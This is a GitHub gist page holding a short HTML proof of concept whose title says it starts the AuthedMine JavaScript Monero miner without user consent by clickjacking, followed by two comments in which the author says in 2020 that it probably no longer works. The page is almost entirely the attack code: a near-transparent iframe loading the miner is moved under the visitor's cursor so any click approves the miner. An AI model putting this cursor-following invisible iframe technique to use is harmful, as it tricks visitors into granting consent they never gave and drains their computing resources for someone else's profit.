Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created October 21, 2017 19:32
Show Gist options
  • Save bcoles/f7c21a1f2cdb79e291793f951dcdc4d4 to your computer and use it in GitHub Desktop.
Save bcoles/f7c21a1f2cdb79e291793f951dcdc4d4 to your computer and use it in GitHub Desktop.
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
container.setAttribute("style", "border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01;left:" + e.x + ";top:" + e.y);
}
</script>
</html>
@Mathews1991
Copy link

What Bitcoin

@bcoles
Copy link
Author

bcoles commented Nov 10, 2020

What Bitcoin

I'm pretty sure this won't work any more, especially as authedmine.com no longer exists.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment